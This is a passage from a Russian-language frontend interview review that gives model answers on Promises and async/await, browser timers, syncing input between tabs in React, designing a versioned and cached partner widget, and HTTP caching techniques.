fetch('/api/comments').then(r => r.json())
]);

Promise.allSettled — ожидает завершения всех Promise, независимо от результата:

const results = await Promise.allSettled([
fetch('/api/users'),
fetch('/api/posts'),
fetch('/api/comments')
]);

results.forEach((result) => {
if (result.status === 'fulfilled') {
console.log('Success:', result.value);
} else {
console.log('Error:', result.reason);
}
});

Promise.race — возвращает результат первого завершённого Promise:

const result = await Promise.race([
fetch('/api/fast-endpoint'),
new Promise((_, reject) =>
setTimeout(() => reject(new Error('Timeout')), 5000)
)
]);

Promise.any — возвращает результат первого успешно выполненного Promise:

const result = await Promise.any([
fetch('https://api1.example.com'),
fetch('https://api2.example.com'),
fetch('https://api3.example.com')
]);

Callback Hell vs Promise

// Callback Hell (до Promise)
getUser(userId, (user) => {
getPosts(user.id, (posts) => {
getComments(posts[0].id, (comments) => {
console.log(comments);
}, errorHandler);
}, errorHandler);
}, errorHandler);

// С Promise
getUser(userId)
.then(user => getPosts(user.id))
.then(posts => getComments(posts[0].id))
.then(comments => console.log(comments))
.catch(errorHandler);

Что такое Async/Await

Async/Await — синтаксический сахар над Promise, введённый в ES2017. Позволяет писать асинхронный код в синхронном стиле.

Базовый синтаксис:

async function fetchUser(userId) {
try {
const response = await fetch(`/api/users/${userId}`);

if (!response.ok) {
throw new Error(`HTTP error: ${response.status}`);
}

const user = await response.json();
return user; // Возвращает Promise
} catch (error) {
console.error('Failed to fetch user:', error);
throw error; // Отклоняет Promise
}
}

// Использование
async function main() {
try {
const user = await fetchUser(123);
console.log('User:', user);
} catch (error) {
console.error('Error:', error);
}
}

main();

Правила async/await

  • async функция всегда возвращает Promise.
  • await можно использовать только внутри async функции.
  • await приостанавливает выполнение функции до завершения Promise.
  • Ошибки обрабатываются через try/catch.

Обработка ошибок в async/await

async function fetchData() {
try {
const response = await fetch('/api/data');
const data = await response.json();
return data;
} catch (error) {
if (error instanceof TypeError) {
console.error('Network error');
} else {
console.error('Other error:', error);
}
throw error;
} finally {
console.log('Cleanup');
}
}

Параллельное выполнение с async/await

// Последовательно — медленно
async function sequential() {
const users = await fetchUsers(); // 1 сек
const posts = await fetchPosts(); // 1 сек
const comments = await fetchComments(); // 1 сек
// Итого: 3 секунды
return { users, posts, comments };
}

// Параллельно — быстро
async function parallel() {
const [users, posts, comments] = await Promise.all([
fetchUsers(),
fetchPosts(),
fetchComments()
]);
// Итого: 1 секунда
return { users, posts, comments };
}

Async/Await с циклами

// Последовательное выполнение
async function processItems(items) {
for (const item of items) {
await processItem(item); // Ждём завершения каждого
}
}

// Параллельное выполнение
async function processItemsParallel(items) {
await Promise.all(items.map(item => processItem(item)));
}

// Параллельно с ограничением
async function processWithLimit(items, limit = 5) {
const results = [];

for (let i = 0; i < items.length; i += limit) {
const batch = items.slice(i, i + limit);
const batchResults = await Promise.all(
batch.map(item => processItem(item))
);
results.push(...batchResults);
}

return results;
}

Top-level await

В модулях (ES modules) можно использовать await на верхнем уровне:

// module.js
const response = await fetch('/api/config');
const config = await response.json();

export { config };

Разница между Promise и Async/Await

ХарактеристикаPromiseAsync/Await
СинтаксисЦепочки then/catchСинхронный стиль
ЧитаемостьСложнее при вложенностиПроще, линейный код
Обработка ошибок.catch()try/catch
Параллельное выполнениеPromise.all()await Promise.all()
ОтладкаСложнее (цепочки)Проще (по

Вопрос 28. Как работают setTimeout и setInterval? Есть ли нюансы?

Таймкод: 00:56:00

Ответ собеседника: частичный. Кандидат рассказал про минимальное время задержки, но не упомял задержку при занятом основном потоке, отличия от requestAnimationFrame и проблемы с утечками памяти.

Правильный ответ:

Как работают setTimeout и setInterval

setTimeout и setInterval — это Web API, предоставляемые браузером (или Node.js), которые позволяют отложить выполнение кода.

setTimeout — выполняет функцию один раз через указанный интервал:

setTimeout(() => {
console.log('Executed after 1000ms');
}, 1000);

setInterval — выполняет функцию повторно через указанный интервал:

setInterval(() => {
console.log('Executed every 1000ms');
}, 1000);

Важные нюансы

1. Задержка — это минимум, а не точное время

Указанная задержка — это минимальное время, через которое колбэк попадёт в Task Queue. Фактическое выполнение зависит от состояния Call Stack:

console.log('Start');

setTimeout(() => {
console.log('Timeout executed');
}, 0);

// Блокирующий код на 2 секунды
const start = Date.now();
while (Date.now() - start < 2000) {}

console.log('End');

// Вывод:
// Start
// End
// Timeout executed (через ~2 секунды, а не 0ms)

Колбэк setTimeout с задержкой 0ms попадёт в Task Queue сразу, но выполнится только после завершения синхронного кода.

2. Минимальная задержка в 4ms

Для вложенных вызовов setTimeout (более 5 уровней вложенности) браузеры принудительно устанавливают минимальную задержку 4ms:

function nestedTimeout(depth) {
if (depth === 0) return;

setTimeout(() => {
nestedTimeout(depth - 1);
}, 0);
}

nestedTimeout(10); // Минимальная задержка будет 4ms

Это сделано для предотвращения злоупотреблений и экономии ресурсов.

3. Замедление в неактивных вкладках

Браузеры замедляют setTimeout и setInterval в неактивных вкладках для экономии батареи и ресурсов:

  • Chrome и Firefox: минимальный интервал увеличивается до 1000ms для неактивных вкладок.
  • requestAnimationFrame полностью приостанавливается в неактивных вкладках.
// В неактивной вкладке этот таймер будет срабатывать раз в секундду
setInterval(() => {
console.log('Tick');
}, 100);

4. setInterval не гарантирует точный интервал

Если колбэк выполняется дольше интервала, следующий вызов будет задержан:

// Проблема: если функция выполняется дольше 100ms,
// интервалы будут неравномерными
setInterval(() => {
// Тяжёлая операция, занимающая 150ms
heavyOperation();
}, 100);

Решение — использовать рекурсивный setTimeout:

// Решение: следующий вызов планируется после завершения текущего
function recursiveTimeout() {
heavyOperation().then(() => {
setTimeout(recursiveTimeout, 100);
});
}

recursiveTimeout();

5. Проблемы с утечками памяти

Забытые таймеры — частая причина утечек памяти:

// Утечка: таймер продолжает работать после удаления компонента
class Component {
constructor() {
this.timer = setInterval(() => {
this.update();
}, 1000);
}

destroy() {
// Забыли очистить таймер!
}
}

// Правильно
class Component {
constructor() {
this.timer = setInterval(() => {
this.update();
}, 1000);
}

destroy() {
clearInterval(this.timer);
}
}

6. this в колбэках

const obj = {
name: 'John',
greet() {
setTimeout(function() {
console.log(this.name); // undefined (this = window)
}, 100);

setTimeout(() => {
console.log(this.name); // 'John' (стрелочная функция сохраняет this)
}, 100);
}
};

setTimeout vs requestAnimationFrame

ХарактеристикаsetTimeoutrequestAnimationFrame
Точность~4msЧастота обновления экрана (~16.6ms для 60Hz)
Синхронизация с отрисовкойНетДа
Приостановка в фонеДа (замедляется)Да (полностью останавливается)
ИспользованиеОбщие задачиАнимации, обновления UI
АргументыЗадержка в msКолбэк с timestamp

Для анимаций всегда используйте requestAnimationFrame:

// Плохо — setTimeout для анимации
setInterval(() => {
element.style.left = parseInt(element.style.left) + 1 + 'px';
}, 16);

// Хорошо — requestAnimationFrame
function animate(timestamp) {
element.style.transform = `translateX(${position}px)`;
position += 1;
requestAnimationFrame(animate);
}
requestAnimationFrame(animate);

Очистка таймеров

const timeoutId = setTimeout(() => {}, 1000);
clearTimeout(timeoutId); // Отмена timeout

const intervalId = setInterval(() => {}, 1000);
clearInterval(intervalId); // Отмена interval

setTimeout с аргументами

// Аргументы передаются после задержки
setTimeout((name, age) => {
console.log(`Hello, ${name}. Age: ${age}`);
}, 1000, 'John', 30);

Практические примеры

Дебаунс с setTimeout:

function debounce(func, delay) {
let timeoutId;

return function(...args) {
clearTimeout(timeoutId);
timeoutId = setTimeout(() => {
func.apply(this, args);
}, delay);
};
}

const handleSearch = debounce((query) => {
fetch(`/api/search?q=${query}`);
}, 300);

input.addEventListener('input', (e) => handleSearch(e.target.value));

Таймаут для Promise:

function withTimeout(promise, ms) {
const timeout = new Promise((_, reject) => {
setTimeout(() => reject(new Error('Timeout')), ms);
});

return Promise.race([promise, timeout]);
}

// Использование
try {
const data = await withTimeout(fetch('/api/data'), 5000);
} catch (error) {
console.error('Request timed out');
}

Полифилл setTimeout с точным интервалом:

function accurateInterval(callback, interval) {
let expected = Date.now() + interval;

function tick() {
const drift = Date.now() - expected;

callback();

expected += interval;
setTimeout(tick, Math.max(0, interval - drift));
}

setTimeout(tick, interval);
}

// Компенсирует дрейф времени
accurateInterval(() => {
console.log('Tick');
}, 1000);

Итог

setTimeout и setInterval — базовые инструменты для отложенного выполнения кода. Ключевые нюансы: задержка — это минимум, а не точное время; минимальная задержка 4ms для вложенных вызовов; замедление в неактивных вкладках; setInterval не гарантирует точный интервал; необходимо очищать таймеры для предотвращения утечек памяти. Для анимаций используйте requestAnimationFrame.

Вопрос 29. Задача: Реализовать синхронизацию ввода между двумя вкладками браузера в React-приложении.

Таймкод: 00:57:00

Ответ собеседника: неполный. Кандидат предложил WebSocket, но не упомянул BroadcastChannel API, localStorage с событием storage и SharedWorker.

Правильный ответ:

Анализ задачи

Синхронизация ввода между вкладками — это задача коммуникации между контекстами одного origin. Существует несколько подходов, каждый с преимуществами и ограничениями.

1. BroadcastChannel API (рекомендуемый подход)

BroadcastChannel API — нативный браузерный API для коммуникации между вкладками, окнами и iframe одного origin.

// broadcast-channel.js
class TabSync {
constructor(channelName) {
this.channel = new BroadcastChannel(channelName);
this.listeners = new Map();
}

// Отправка сообщения всем вкладкам
postMessage(type, payload) {
this.channel.postMessage({ type, payload, timestamp: Date.now() });
}

// Подписка на сообщения
onMessage(callback) {
const handler = (event) => {
callback(event.data);
};
this.channel.addEventListener('message', handler);

// Возвращаем функцию для отписки
return () => {
this.channel.removeEventListener('message', handler);
};
}

// Закрытие канала
close() {
this.channel.close();
}
}

export default new TabSync('input-sync');
// SyncInput.jsx
import React, { useState, useEffect, useCallback, useRef } from 'react';
import tabSync from './broadcast-channel';

function SyncInput({ name, label }) {
const [value, setValue] = useState('');
const isSyncing = useRef(false);

// Обработчик изменения ввода
const handleChange = useCallback((e) => {
const newValue = e.target.value;
setValue(newValue);

// Отправляем другим вкладкам
if (!isSyncing.current) {
tabSync.postMessage('INPUT_CHANGE', {
name,
value: newValue
});
}
}, [name]);

// Подписка на сообщения от других вкладок
useEffect(() => {
const unsubscribe = tabSync.onMessage((message) => {
if (message.type === 'INPUT_CHANGE' && message.payload.name === name) {
isSyncing.current = true;
setValue(message.payload.value);

// Сброс флага после обновления состояния
requestAnimationFrame(() => {
isSyncing.current = false;
});
}
});

return unsubscribe;
}, [name]);

return (
<div>
<label>{label}</label>
<input
type="text"
name={name}
value={value}
onChange={handleChange}
/>
</div>
);
}

export default SyncInput;
// App.jsx
import React from 'react';
import SyncInput from './SyncInput';

function App() {
return (
<div>
<h1>Synced Form</h1>
<form>
<SyncInput name="username" label="Username" />
<SyncInput name="email" label="Email" />
<SyncInput name="phone" label="Phone" />
</form>
</div>
);
}

export default App;

2. localStorage с событием storage

Событие storage срабатывает в других вкладках при изменении localStorage:

// localStorage-sync.js
class LocalStorageSync {
constructor(storageKey = 'tab-sync') {
this.storageKey = storageKey;
this.listeners = new Set();

// Подписка на события storage
window.addEventListener('storage', this.handleStorage.bind(this));
}

handleStorage(event) {
if (event.key === this.storageKey) {
try {
const data = JSON.parse(event.newValue);
this.listeners.forEach(callback => callback(data));
} catch (e) {
console.error('Failed to parse sync data:', e);
}
}
}

// Отправка данных
send(data) {
localStorage.setItem(this.storageKey, JSON.stringify({
...data,
timestamp: Date.now(),
source: this.getTabId()
}));
}

// Подписка
subscribe(callback) {
this.listeners.add(callback);
return () => this.listeners.delete(callback);
}

// Уникальный ID вкладки
getTabId() {
if (!this._tabId) {
this._tabId = `tab-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`;
sessionStorage.setItem('tab-id', this._tabId);
}
return this._tabId;
}

destroy() {
window.removeEventListener('storage', this.handleStorage.bind(this));
this.listeners.clear();
}
}

export default new LocalStorageSync();
// SyncInputLocalStorage.jsx
import React, { useState, useEffect, useCallback } from 'react';
import storageSync from './localStorage-sync';

function SyncInputLocalStorage({ name, label }) {
const [value, setValue] = useState('');

const handleChange = useCallback((e) => {
const newValue = e.target.value;
setValue(newValue);

storageSync.send({
type: 'INPUT_CHANGE',
name,
value: newValue
});
}, [name]);

useEffect(() => {
const unsubscribe = storageSync.subscribe((data) => {
if (data.type === 'INPUT_CHANGE' && data.name === name) {
setValue(data.value);
}
});

return unsubscribe;
}, [name]);

return (
<div>
<label>{label}</label>
<input
type="text"
name={name}
value={value}
onChange={handleChange}
/>
</div>
);
}

export default SyncInputLocalStorage;

3. SharedWorker

SharedWorker — общий воркер, доступный из всех вкладках одного origin:

// shared-worker.js
const connections = [];

self.addEventListener('connect', (event) => {
const port = event.ports[0];
connections.push(port);

port.addEventListener('message', (e) => {
// Рассылка всем подключённым вкладкам
connections.forEach((conn) => {
if (conn !== port) {
conn.postMessage(e.data);
}
});
});

port.start();
});
// useSharedWorker.js
import { useEffect, useRef, useCallback } from 'react';

export function useSharedWorker(url, onMessage) {
const workerRef = useRef(null);

useEffect(() => {
const worker = new SharedWorker(url);
workerRef.current = worker;

worker.port.addEventListener('message', (event) => {
onMessage(event.data);
});

worker.port.start();

return () => {
worker.port.close();
};
}, [url, onMessage]);

const postMessage = useCallback((data) => {
if (workerRef.current) {
workerRef.current.port.postMessage(data);
}
}, []);

return { postMessage };
}
// SyncInputWorker.jsx
import React, { useState, useCallback } from 'react';
import { useSharedWorker } from './useSharedWorker';

function SyncInputWorker({ name, label }) {
const [value, setValue] = useState('');

const handleMessage = useCallback((data) => {
if (data.type === 'INPUT_CHANGE' && data.name === name) {
setValue(data.value);
}
}, [name]);

const { postMessage } = useSharedWorker('/shared-worker.js', handleMessage);

const handleChange = useCallback((e) => {
const newValue = e.target.value;
setValue(newValue);

postMessage({
type: 'INPUT_CHANGE',
name,
value: newValue
});
}, [name, postMessage]);

return (
<div>
<label>{label}</label>
<input
type="text"
name={name}
value={value}
onChange={handleChange}
/>
</div>
);
}

export default SyncInputWorker;

4. WebSocket (для сложных сценариев)

WebSocket избыточен для простой синхронизации между вкладками, но необходим, если нужна серверная логика или синхронизация между устройствами:

// useWebSocketSync.js
import { useEffect, useRef, useCallback } from 'react';

export function useWebSocketSync(roomId, onMessage) {
const wsRef = useRef(null);

useEffect(() => {
const ws = new WebSocket(`wss://api.example.com/sync/${roomId}`);
wsRef.current = ws;

ws.onmessage = (event) => {
const data = JSON.parse(event.data);
onMessage(data);
};

return () => {
ws.close();
};
}, [roomId, onMessage]);

const send = useCallback((data) => {
if (wsRef.current?.readyState === WebSocket.OPEN) {
wsRef.current.send(JSON.stringify(data));
}
}, []);

return { send };
}

Сравнение подходов

ПодходСложностьПоддержкаСерверМежду устройствами
BroadcastChannelНизкаяХорошая (не IE)Не нуженНет
localStorage + storageНизкаяОтличнаяНе нуженНет
SharedWorkerСредняяХорошая (не Firefox)Не нуженНет
WebSocketВысокаяОтличнаяНуженДа

Рекомендуемое решение с fallback:

// tab-sync.js
class TabSync {
constructor() {
this.channel = null;
this.listeners = new Set();
this.useFallback = false;

// Пробуем BroadcastChannel
if ('BroadcastChannel' in window) {
this.channel = new BroadcastChannel('input-sync');
this.channel.onmessage = (event) => {
this.notifyListeners(event.data);
};
} else {
// Fallback на localStorage
this.useFallback = true;
window.addEventListener('storage', this.handleStorage.bind(this));
}
}

handleStorage(event) {
if (event.key === 'tab-sync-message') {
try {
const data = JSON.parse(event.newValue);
this.notifyListeners(data);
} catch (e) {
console.error('Failed to parse sync data:', e);
}
}
}

send(data) {
if (this.channel) {
this.channel.postMessage(data);
} else {
localStorage.setItem('tab-sync-message', JSON.stringify({
...data,
_id: Date.now() + Math.random()
}));
}
}

subscribe(callback) {
this.listeners.add(callback);
return () => this.listeners.delete(callback);
}

notifyListeners(data) {
this.listeners.forEach(cb => cb(data));
}

destroy() {
if (this.channel) {
this.channel.close();
} else {
window.removeEventListener('storage', this.handleStorage.bind(this));
}
this.listeners.clear();
}
}

export default new TabSync();

Рекомендации

  • Для простой синхронизации между вкладками использовать BroadcastChannel.
  • Для поддержки старых браузеров — localStorage с событием storage.
  • Для сложной логики с централизованным состоянием — SharedWorker.
  • Для синхронизации между устройствами — WebSocket.
  • Всегда добавлять debounce для частых изменений ввода.
  • Использовать уникальные ID вкладок для предотвращения зацикливания.

Вопрос 30. Задача: Спроектировать систему виджета для партнерских сайтов с поддержкой версионирования и кэширования.

Таймкод: 01:14:00

Ответ собеседния: неполный. Кандидат не успел дать полный ответ, обсуждались базовые вопросы, но не упоминались CDN, версионирование файлов, feature flags, A/B тестирование и обратная совместимость API.

Правильный ответ:

Анализ задачи

Виджет для партнерских сайтов — это внешний компонент, который встраивается на сторонние сайты. Основные требования:

  • Простота встраивания для партнёров.
  • Контроль версий и обновлений.
  • Эффективное кэширование.
  • Обратная совместимость.
  • Мониторинг и аналитика.

Архитектура системы

┌─────────────────────────────────────────────────────────┐
│ Партнёрский сайт │
│ │
│ <script src="https://cdn.example.com/widget/v2.1.0.js">│
│ <div id="my-widget" data-api-key="key123"></div> │
│ │
└─────────────────────────────────────────────────────────┘


┌─────────────────────────────────────────────────────────┐
│ CDN (CloudFront/Fastly) │
│ │
│ /widget/v2.1.0.js → Кэш 1 год │
│ /widget/v2.1.0.css → Кэш 1 год │
│ /widget/config.json → Кэш 5 минут │
│ /api/widget/data → Без кэша │
│ │
└─────────────────────────────────────────────────────────┘


┌─────────────────────────────────────────────────────────┐
│ Origin Server │
│ │
│ - Хранение файлов виджета │
│ - API для данных │
│ - Управление конфигурацией │
│ - Feature flags │
│ │
└─────────────────────────────────────────────────────────┘

1. Версионирование файлов

Использование хешей в именах файлов для долгого кэширования:

/widget/
v2.1.0/
widget.a1b2c3d4.js
widget.e5f6g7h8.css
config.json
v2.0.0/
widget.1a2b3c4d.js
widget.5e6f7g8h.css

Сборка с хешами (Webpack):

// webpack.config.js
module.exports = {
output: {
filename: 'widget.[contenthash:8].js',
chunkFilename: '[name].[contenthash:8].js',
path: path.resolve(__dirname, 'dist/widget'),
publicPath: 'https://cdn.example.com/widget/'
},
plugins: [
new MiniCssExtractPlugin({
filename: 'widget.[contenthash:8].css'
})
]
};

2. Код встраивания для партнёров

<!-- Минимальный код для встраивания -->
<div id="my-widget"
data-api-key="partner_key_123"
data-theme="light"
data-locale="ru">
</div>
<script
src="https://cdn.example.com/widget/v2.1.0/widget.js"
async
defer>
</script>

3. Основной скрипт виджета

// widget.js
(function(window, document) {
'use strict';

const WIDGET_VERSION = '2.1.0';
const CDN_BASE = 'https://cdn.example.com/widget';
const API_BASE = 'https://api.example.com';

class Widget {
constructor(container, config) {
this.container = container;
this.config = config;
this.apiKey = container.dataset.apiKey;
this.theme = container.dataset.theme || 'light';
this.locale = container.dataset.locale || 'ru';
this.shadowRoot = null;
}

async init() {
try {
// Проверка API ключа
if (!this.apiKey) {
throw new Error('API key is required');
}

// Загрузка конфигурации
const config = await this.loadConfig();

// Проверка feature flags
if (config.features?.newUI) {
await this.loadNewUI();
} else {
await this.loadLegacyUI();
}

// Создание Shadow DOM для инкапсуляции
this.shadowRoot = this.container.attachShadow({ mode: 'open' });

// Загрузка стилей
await this.loadStyles();

// Рендеринг
this.render();

// Инициализация событий
this.bindEvents();

// Отправка аналитики
this.trackEvent('widget_loaded', { version: WIDGET_VERSION });

} catch (error) {
console.error('Widget initialization failed:', error);
this.showError(error.message);
}
}

async loadConfig() {
const cacheKey = `widget_config_${this.apiKey}`;
const cached = this.getCache(cacheKey);

if (cached && cached.expires > Date.now()) {
return cached.data;
}

const response = await fetch(
`${API_BASE}/widget/config?apiKey=${this.apiKey}&version=${WIDGET_VERSION}`,
{
headers: {
'Accept': 'application/json'
}
}
);

if (!response.ok) {
throw new Error('Failed to load widget configuration');
}

const config = await response.json();

// Кэшируем на 5 минут
this.setCache(cacheKey, {
data: config,
expires: Date.now() + 5 * 60 * 1000
});

return config;
}

async loadStyles() {
const cssUrl = `${CDN_BASE}/v${WIDGET_VERSION}/widget.css`;

const response = await fetch(cssUrl);
const css = await response.text();

const style = document.createElement('style');
style.textContent = css;
this.shadowRoot.appendChild(style);
}

async loadNewUI() {
// Динамический импорт новой версии UI
const module = await import(`${CDN_BASE}/v${WIDGET_VERSION}/ui-new.js`);
this.ui = module.default;
}

async loadLegacyUI() {
const module = await import(`${CDN_BASE}/v${WIDGET_VERSION}/ui-legacy.js`);
this.ui = module.default;
}

render() {
this.shadowRoot.innerHTML = `
<div class="widget widget--${this.theme}">
<div class="widget__header">
<h3>${this.config.title}</h3>
</div>
<div class="widget__content">
<!-- Содержимое виджета -->
</div>
<div class="widget__footer">
<span class="widget__version">v${WIDGET_VERSION}</span>
</div>
</div>
`;
}

bindEvents() {
// Делегирование событий
this.shadowRoot.addEventListener('click', (event) => {
const action = event.target.closest('[data-action]');
if (action) {
this.handleAction(action.dataset.action, event);
}
});
}

handleAction(action, event) {
switch (action) {
case 'submit':
this.handleSubmit(event);
break;
case 'close':
this.handleClose();
break;
default:
console.warn('Unknown action:', action);
}
}

// Простое кэширование в памяти
getCache(key) {
try {
const item = sessionStorage.getItem(key);
return item ? JSON.parse(item) : null;
} catch {
return null;
}
}

setCache(key, value) {
try {
sessionStorage.setItem(key, JSON.stringify(value));
} catch {
// Игнорируем ошибки кэширования
}
}

trackEvent(event, data) {
// Отправка аналитики
if (navigator.sendBeacon) {
navigator.sendBeacon(
`${API_BASE}/analytics`,
JSON.stringify({
event,
data,
apiKey: this.apiKey,
version: WIDGET_VERSION,
timestamp: Date.now()
})
);
}
}

showError(message) {
this.container.innerHTML = `
<div class="widget-error">
<p>Failed to load widget: ${message}</p>
</div>
`;
}

destroy() {
// Очистка ресурсов
if (this.shadowRoot) {
this.shadowRoot.innerHTML = '';
}
}
}

// Инициализация всех виджетов на странице
function initWidgets() {
const containers = document.querySelectorAll('[id="my-widget"]');

containers.forEach(container => {
const widget = new Widget(container, {});
widget.init();
});
}

// Инициализация при готовности DOM
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', initWidgets);
} else {
initWidgets();
}

// Экспорт для программного использования
window.MyWidget = { Widget };

})(window, document);

4. Управление версиями и обновлениями

// version-manager.js
class VersionManager {
constructor() {
this.currentVersion = '2.1.0';
this.minSupportedVersion = '2.0.0';
this.deprecationDate = {
'2.0.0': '2024-06-01',
'1.5.0': '2024-03-01'
};
}

// Проверка совместимости версии
isVersionSupported(version) {
return this.compareVersions(version, this.minSupportedVersion) >= 0;
}

// Получение последней версии для канала
getLatestVersion(channel = 'stable') {
const versions = {
stable: '2.1.0',
beta: '2.2.0-beta.1',
legacy: '1.5.0'
};
return versions[channel] || versions.stable;
}

// Сравнение версий
compareVersions(v1, v2) {
const parts1 = v1.split('.').map(Number);
const parts2 = v2.split('.').map(Number);

for (let i = 0; i < Math.max(parts1.length, parts2.length); i++) {
const p1 = parts1[i] || 0;
const p2 = parts2[i] || 0;

if (p1 > p2) return 1;
if (p1 < p2) return -1;
}

return 0;
}

// Проверка необходимости обновления
shouldUpdate(currentVersion) {
return this.compareVersions(currentVersion, this.currentVersion) < 0;
}
}

5. Feature Flags

// feature-flags.js
class FeatureFlags {
constructor(config) {
this.flags = config.features || {};
this.experiments = config.experiments || {};
}

isEnabled(flagName) {
return this.flags[flagName] === true;
}

getExperimentVariant(experimentName) {
return this.experiments[experimentName] || 'control';
}

// A/B тестирование
getABTestGroup(experimentName, apiKey) {
// Определение группы на основе хеша API ключа
const hash = this.hashString(apiKey + experimentName);
return hash % 2 === 0 ? 'control' : 'variant';
}

hashString(str) {
let hash = 0;
for (let i = 0; i < str.length; i++) {
const char = str.charCodeAt(i);
hash = ((hash << 5) - hash) + char;
hash = hash & hash;
}
return Math.abs(hash);
}
}

6. Конфигурация CDN (CloudFront)

# cloudfront-config.yaml
Origins:
- DomainName: widget-bucket.s3.amazonaws.com
Id: S3Origin
S3OriginConfig:
OriginAccessIdentity: origin-access-identity/cloudfront/ABCDEFG

CacheBehaviors:
# Статические файлы с хешами — долгий кэш
- PathPattern: "/widget/v*/*.js"
ViewerProtocolPolicy: https-only
CachePolicyId: Managed-CachingOptimized
TTL: 31536000 # 1 год

- PathPattern: "/widget/v*/*.css"
ViewerProtocolPolicy: https-only
CachePolicyId: Managed-CachingOptimized
TTL: 31536000 # 1 год

# Конфигурация — короткий кэш
- PathPattern: "/widget/config.json"
ViewerProtocolPolicy: https-only
CachePolicyId: Managed-CachingDisabled
TTL: 300 # 5 минут

# API — без кэша
- PathPattern: "/api/*"
ViewerProtocolPolicy: https-only
CachePolicyId: Managed-CachingDisabled
OriginRequestPolicyId: Managed-AllViewer

7. API для управления виджетом

// Go сервер для управления виджетами
package main

import (
"encoding/json"
"net/http"
"time"
)

type WidgetConfig struct {
APIKey string `json:"apiKey"`
Version string `json:"version"`
Title string `json:"title"`
Theme string `json:"theme"`
Features map[string]bool `json:"features"`
Experiments map[string]string `json:"experiments"`
}

type VersionInfo struct {
Current string `json:"current"`
Min string `json:"minSupported"`
Deprecated map[string]string `json:"deprecationDates"`
}

func configHandler(w http.ResponseWriter, r *http.Request) {
apiKey := r.URL.Query().Get("apiKey")
version := r.URL.Query().Get("version")

// Проверка API ключа
partner, err := getPartnerByKey(apiKey)
if err != nil {
http.Error(w, "Invalid API key", http.StatusUnauthorized)
return
}

// Проверка версии
if !isVersionSupported(version) {
// Предложить обновление
w.Header().Set("X-Widget-Update-Available", "true")
w.Header().Set("X-Widget-Latest-Version", "2.1.0")
}

config := WidgetConfig{
APIKey: apiKey,
Version: version,
Title: partner.Title,
Theme: partner.Theme,
Features: getFeaturesForPartner(partner),
Experiments: getExperimentsForPartner(partner),
}

w.Header().Set("Content-Type", "application/json")
w.Header().Set("Cache-Control", "public, max-age=300")
json.NewEncoder(w).Encode(config)
}

func versionHandler(w http.ResponseWriter, r *http.Request) {
info := VersionInfo{
Current: "2.1.0",
Min: "2.0.0",
Deprecated: map[string]string{
"1.5.0": "2024-03-01",
"2.0.0": "2024-06-01",
},
}

w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(info)
}

8. Мониторинг и аналитика

// analytics.js
class WidgetAnalytics {
constructor(apiKey, version) {
this.apiKey = apiKey;
this.version = version;
this.queue = [];
this.flushInterval = 30000; // 30 секунд
this.startFlushTimer();
}

track(event, data = {}) {
this.queue.push({
event,
data,
apiKey: this.apiKey,
version: this.version,
url: window.location.href,
timestamp: Date.now()
});

// Немедленная отправка для критических событий
if (['error', 'crash'].includes(event)) {
this.flush();
}
}

startFlushTimer() {
setInterval(() => this.flush(), this.flushInterval);
}

async flush() {
if (this.queue.length === 0) return;

const events = [...this.queue];
this.queue = [];

try {
if (navigator.sendBeacon) {
navigator.sendBeacon(
'https://api.example.com/analytics',
JSON.stringify({ events })
);
} else {
await fetch('https://api.example.com/analytics', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ events }),
keepalive: true
});
}
} catch (error) {
// Возвращаем события в очередь при ошибке
this.queue.unshift(...events);
}
}
}

Схема версионирования

v2.1.0 (current)
├── Полная обратная совместимость с v2.0.0
├── Новые feature flags
└── Исправления багов

v2.0.0 (deprecated до 2024-06-01)
├── Breaking changes от v1.x
├── Новый API
└── Требует обновления кода встраивания

v1.5.0 (deprecated до 2024-03-01)
└── Не поддерживается

Рекомендации

  • Ипользовать CDN для раздачи статики.
  • Хеши в именах файлов для долгого кэширования.
  • Semantic Versioning для версионирования.
  • Feature flags для постепенного выкатывания функций.
  • Shadow DOM для инкапсуляции стилей.
  • Graceful degradation при ошибках.
  • Мониторинг версий и уведомления об устаревании.
  • Обратная совместимость API минимум 2 мажорные версии.

Вопрос 31. Какие методы кэширования данных используются для улучшения производительности веб-приложений при работе с HTTP-протоколом?

Таймкод: 01:33:00

Ответ собеседника: неполный. Кандидат обсуждал Cache-Control и хеширование имён файлов, но не упомянул ETag, Last-Modified, Service Worker, CDN, stale-while-revalidate и серверное кэширование.

Правильный ответ:

Уровни кэширования в веб-приложениях

Кэширование в веб-приложениях работает на нескольких уровнях, каждый из которых решает свои задачи:

1. HTTP-кэширование (браузер и прокси)

Cache-Control — основной заголовок для управления кэшированием:

# Долгий кэш для статики с хешем в имени
Cache-Control: public, max-age=31536000, immutable

# Короткий кэш с валидацией
Cache-Control: public, max-age=3600, must-revalidate

# Без кэширования
Cache-Control: no-store

# Кэш с валидацией при каждом запросе
Cache-Control: no-cache

# Stale while revalidate
Cache-Control: public, max-age=3600, stale-while-revalidate=86400

ETag (Entity Tag) — идентификатор версии ресурса для условных запросов:

# Первый ответ
ETag: "abc123"

# Следующий запрос от браузера
If-None-Match: "abc123"

# Ответ, если ресурс не изменился
304 Not Modified

Last-Modified — дата последнего изменения:

# Первый ответ
Last-Modified: Mon, 01 Jan 2024 00:00:00 GMT

# Следующий запрос
If-Modified-Since: Mon, 01 Jan 2024 00:00:00 GMT

# Ответ, если не изменился
304 Not Modified

Vary — указывает, какие заголовки влияют на кэш:

Vary: Accept-Encoding, Accept-Language

2. Версионирование файлов

Использование хешей в именах файлов для инвалидации кэша:

app.a1b2c3d4.js
styles.e5f6g7h8.css
logo.1a2b3c4d.png

При изменении файла меняется хеш, браузер загружает новую версию.

3. Service Worker кэширование

Программируемое кэширование на стороне клиента:

// Стратегия Cache First
self.addEventListener('fetch', (event) => {
event.respondWith(
caches.match(event.request).then((cached) => {
return cached || fetch(event.request);
})
);
});

// Стратегия Network First
self.addEventListener('fetch', (event) => {
event.respondWith(
fetch(event.request).catch(() => caches.match(event.request))
);
});

// Стратегия Stale While Revalidate
self.addEventListener('fetch', (event) => {
event.respondWith(
caches.open('v1').then((cache) => {
return cache.match(event.request).then((cached) => {
const fetchPromise = fetch(event.request).then((response) => {
cache.put(event.request, response.clone());
return response;
});
return cached || fetchPromise;
});
})
);
});

4. CDN (Content Delivery Network)

CDN кэширует контент на edge-серверах, ближе к пользователю:

Пользователь → Edge CDN → Origin Server
↓ ↓
Быстрый Кэш hit
ответ или miss

Преимущества:

